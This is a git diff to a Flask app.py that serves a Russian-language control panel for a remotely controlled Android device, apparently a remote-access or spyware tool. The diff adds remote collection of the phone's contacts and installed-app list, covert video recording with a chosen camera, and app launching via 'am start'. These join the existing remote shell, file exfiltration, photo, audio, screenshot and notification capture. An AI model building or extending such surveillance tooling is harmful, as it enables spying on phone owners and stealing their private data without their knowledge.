Update app.py

app.py

@@ -19,6 +19,8 @@ current_client_path = "~"
 file_to_send_to_client = None
 device_status_info = {}
 notifications_history = []
+contacts_list = []
+installed_apps_list = []
 
 
 HTML_TEMPLATE = """
@@ -30,12 +32,12 @@ HTML_TEMPLATE = """
     <title>Панель управления Android</title>
     <style>
         body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
-        .sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
+        .sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; overflow-y: auto; }
         .sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
         .sidebar ul { list-style: none; padding: 0; margin: 0; }
         .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
         .sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
-        .content { flex-grow: 1; padding: 20px; box-sizing: border-box; }
+        .content { flex-grow: 1; padding: 20px; box-sizing: border-box; overflow-y: auto;}
         .container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
         h1 { color: #333; text-align: center; margin-bottom: 20px;}
         .control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
@@ -59,11 +61,11 @@ HTML_TEMPLATE = """
         .hidden-section { display: none; }
         .status-item { margin-bottom: 10px; }
         .status-item strong { color: #333; }
-        .notification-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
-        .notification-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
-        .notification-item:last-child { border-bottom: none; }
-        .notification-item strong { display: block; color: #555; }
-        .notification-item span { font-size: 0.9em; color: #777; }
+        .data-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
+        .data-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
+        .data-item:last-child { border-bottom: none; }
+        .data-item strong { display: block; color: #555; }
+        .data-item span { font-size: 0.9em; color: #777; }
     </style>
     <script>
         let currentView = 'dashboard';
@@ -77,6 +79,8 @@ HTML_TEMPLATE = """
             if (sectionId === 'files') refreshClientPathDisplay();
             if (sectionId === 'device_status') requestDeviceStatus(); 
             if (sectionId === 'notifications') requestNotifications();
+            if (sectionId === 'contacts') requestContacts();
+            if (sectionId === 'apps') requestInstalledApps();
             refreshOutput();
         }
 
@@ -139,6 +143,12 @@ HTML_TEMPLATE = """
                 if (data.notifications && currentView === 'notifications') {
                     renderNotifications(data.notifications);
                 }
+                if (data.contacts && currentView === 'contacts') {
+                    renderContacts(data.contacts);
+                }
+                if (data.installed_apps && currentView === 'apps') {
+                    renderInstalledApps(data.installed_apps);
+                }
 
 
             } catch (error) {
@@ -219,7 +229,7 @@ HTML_TEMPLATE = """
             if (notifications && notifications.length > 0) {
                 notifications.forEach(n => {
                     const itemDiv = document.createElement('div');
-                    itemDiv.className = 'notification-item';
+                    itemDiv.className = 'data-item';
                     itemDiv.innerHTML = `
                         <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
                         <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
@@ -233,6 +243,51 @@ HTML_TEMPLATE = """
                 notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
             }
         }
+
+        function renderContacts(contacts) {
+            const contactListDiv = document.getElementById('contactList');
+            contactListDiv.innerHTML = '';
+            if (contacts && contacts.length > 0) {
+                contacts.forEach(c => {
+                    const itemDiv = document.createElement('div');
+                    itemDiv.className = 'data-item';
+                    itemDiv.innerHTML = `
+                        <strong>${c.name || 'Без имени'}</strong>
+                        <span>${c.number || 'Нет номера'}</span>
+                    `;
+                    contactListDiv.appendChild(itemDiv);
+                });
+            } else {
+                contactListDiv.innerHTML = '<p>Нет контактов для отображения или не удалось их получить.</p>';
+            }
+        }
+        
+        function renderInstalledApps(apps) {
+            const appListDiv = document.getElementById('installedAppsList');
+            appListDiv.innerHTML = '';
+            if (apps && apps.length > 0) {
+                apps.forEach(app_pkg => {
+                    const itemDiv = document.createElement('div');
+                    itemDiv.className = 'data-item';
+                    itemDiv.innerHTML = `<span>${app_pkg}</span>`;
+                    // Add button to try and launch (user needs to fill activity)
+                    /*
+                    const launchBtn = document.createElement('button');
+                    launchBtn.textContent = 'Запустить (AM)';
+                    launchBtn.onclick = () => { 
+                        let activity = prompt('Введите главный Activity для ' + app_pkg + ' (например, .MainActivity):', '');
+                        if (activity) {
+                             sendGenericCommand({command_type: 'shell', command: 'am start -n ' + app_pkg + '/' + activity});
+                        }
+                    };
+                    itemDiv.appendChild(launchBtn);
+                    */
+                    appListDiv.appendChild(itemDiv);
+                });
+            } else {
+                appListDiv.innerHTML = '<p>Список приложений пуст или не удалось его получить.</p>';
+            }
+        }
         
         function osPathToUserFriendly(path, checkRoot = false) {
             if (path.startsWith('/data/data/com.termux/files/home')) {
@@ -294,12 +349,27 @@ HTML_TEMPLATE = """
             sendGenericCommand({ command_type: 'shell', command: command });
             document.getElementById('command_str').value = '';
         }
+        
+        function submitAmStartCommand(event) {
+            event.preventDefault();
+            const command = document.getElementById('am_start_command_str').value;
+            if (command) {
+                sendGenericCommand({ command_type: 'shell', command: 'am start -n ' + command });
+            } else {
+                alert("Введите имя пакета/активити.");
+            }
+        }
 
-        function submitMediaCommand(type, paramName, paramValueId) {
+
+        function submitMediaCommand(type, paramName, paramValueId, param2Name, param2ValueId) {
             let payload = { command_type: type };
             if (paramName && paramValueId) {
                 const value = document.getElementById(paramValueId).value;
                 if (value) payload[paramName] = value;
+            }
+             if (param2Name && param2ValueId) {
+                const value2 = document.getElementById(param2ValueId).value;
+                if (value2) payload[param2Name] = value2;
             }
             sendGenericCommand(payload);
         }
@@ -370,6 +440,12 @@ HTML_TEMPLATE = """
         function requestNotifications() {
             sendGenericCommand({ command_type: 'get_notifications' });
         }
+        function requestContacts() {
+            sendGenericCommand({ command_type: 'get_contacts' });
+        }
+        function requestInstalledApps() {
+            sendGenericCommand({ command_type: 'get_installed_apps' });
+        }
 
 
     </script>
@@ -381,6 +457,8 @@ HTML_TEMPLATE = """
             <li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
             <li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
             <li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
+            <li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
+            <li><a href="#apps" onclick="showSection('apps')">Приложения</a></li>
             <li><a href="#files" onclick="showSection('files')">Файлы</a></li>
             <li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
             <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
@@ -432,11 +510,42 @@ HTML_TEMPLATE = """
             <button onclick="requestNotifications()">Обновить уведомления</button>
             <div class="control-section">
                 <h3>Список уведомлений:</h3>
-                <div id="notificationList" class="notification-list">
+                <div id="notificationList" class="data-list">
                     <p>Запросите список уведомлений.</p>
                 </div>
             </div>
         </div>
+        
+        <div id="contacts" class="container hidden-section">
+            <h2>К��нтакты</h2>
+            <button onclick="requestContacts()">Загрузить контакты</button>
+            <div class="control-section">
+                <h3>Список контактов:</h3>
+                <div id="contactList" class="data-list">
+                    <p>Запросите список контактов.</p>
+                </div>
+            </div>
+        </div>
+
+        <div id="apps" class="container hidden-section">
+            <h2>Установленные приложения</h2>
+            <button onclick="requestInstalledApps()">Загрузить список приложений</button>
+            <div class="control-section">
+                <h3>Список пакетов приложений:</h3>
+                <div id="installedAppsList" class="data-list" style="max-height: 200px;">
+                    <p>Запросите список приложений.</p>
+                </div>
+            </div>
+            <div class="control-section">
+                <h3>Запустить приложение (через AM)</h3>
+                <form onsubmit="submitAmStartCommand(event)">
+                    <label for="am_start_command_str">Имя пакета/Главная Activity (например, com.example.app/.MainActivity):</label>
+                    <input type="text" id="am_start_command_str" name="am_start_command_str" placeholder="com.termux/.app.TermuxActivity">
+                    <button type="submit">Запустить</button>
+                </form>
+            </div>
+        </div>
+
 
         <div id="files" class="container hidden-section">
             <h2>Файловый менеджер (Клиент)</h2>
@@ -489,6 +598,13 @@ HTML_TEMPLATE = """
                 <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
                 <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
             </div>
+            <div class="control-section">
+                <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
+                <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
+                <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
+                <label for="video_camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
+                <input type="text" id="video_camera_id_input" value="0" style="width:50px; display:inline-block;">
+            </div>
             <div class="control-section">
                 <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
             </div>
@@ -583,6 +699,12 @@ def handle_send_command():
         pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
     elif command_type == 'record_audio':
         pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
+    elif command_type == 'record_video':
+        pending_command = {
+            'type': 'record_video', 
+            'duration': data.get('duration', '10'),
+            'camera_id': data.get('camera_id', '0')
+        }
     elif command_type == 'screenshot':
         pending_command = {'type': 'screenshot'}
     elif command_type == 'shell':
@@ -624,6 +746,10 @@ def handle_send_command():
         pending_command = {'type': 'get_device_status', 'item': item_requested}
     elif command_type == 'get_notifications':
         pending_command = {'type': 'get_notifications'}
+    elif command_type == 'get_contacts':
+        pending_command = {'type': 'get_contacts'}
+    elif command_type == 'get_installed_apps':
+        pending_command = {'type': 'get_installed_apps'}
     else:
         command_output = "Неизвестный тип команды."
             
@@ -641,7 +767,7 @@ def get_command():
 
 @app.route('/submit_client_data', methods=['POST'])
 def submit_client_data():
-    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
+    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
     
     data = request.json
     if not data:
@@ -669,11 +795,21 @@ def submit_client_data():
         notifications_history = data['notifications_update'] 
         if not command_output or command_output == "Клиент онлайн.": 
             command_output = "Список уведомлений обновлен."
+            
+    if 'contacts_update' in data:
+        contacts_list = data['contacts_update']
+        if not command_output or command_output == "Клиент онлайн.":
+            command_output = "Список контактов обновлен."
+
+    if 'installed_apps_update' in data:
+        installed_apps_list = data['installed_apps_update']
+        if not command_output or command_output == "Клиент онлайн.":
+            command_output = "Список установленных приложений обновлен."
 
 
     if 'heartbeat' in data and data['heartbeat']:
         if not command_output or command_output == "Клиент онлайн.":
-             if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data:
+             if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data and 'contacts_update' not in data and 'installed_apps_update' not in data:
                 command_output = "Клиент онлайн." 
         return jsonify({'status': 'heartbeat_ok'})
         
@@ -706,7 +842,7 @@ def upload_from_client_route():
         try:
             file.save(filepath)
             origin_command_type = request.form.get("origin_command_type", "unknown")
-            if origin_command_type == "request_download_file": # Only set this for direct downloads
+            if origin_command_type == "request_download_file": 
                  command_output = f"Файл '{filename}' успешно загружен С клиента."
 
             return jsonify({'status': 'success', 'filename': filename})
@@ -716,13 +852,15 @@ def upload_from_client_route():
 
 @app.route('/get_status_output', methods=['GET'])
 def get_status_output_route():
-    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
+    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
     return jsonify({
         'output': command_output, 
         'last_heartbeat': last_client_heartbeat,
         'current_path': current_client_path,
         'device_status': device_status_info,
-        'notifications': notifications_history 
+        'notifications': notifications_history,
+        'contacts': contacts_list,
+        'installed_apps': installed_apps_list
     })
 
 @app.route('/uploads_from_client/<path:filename>')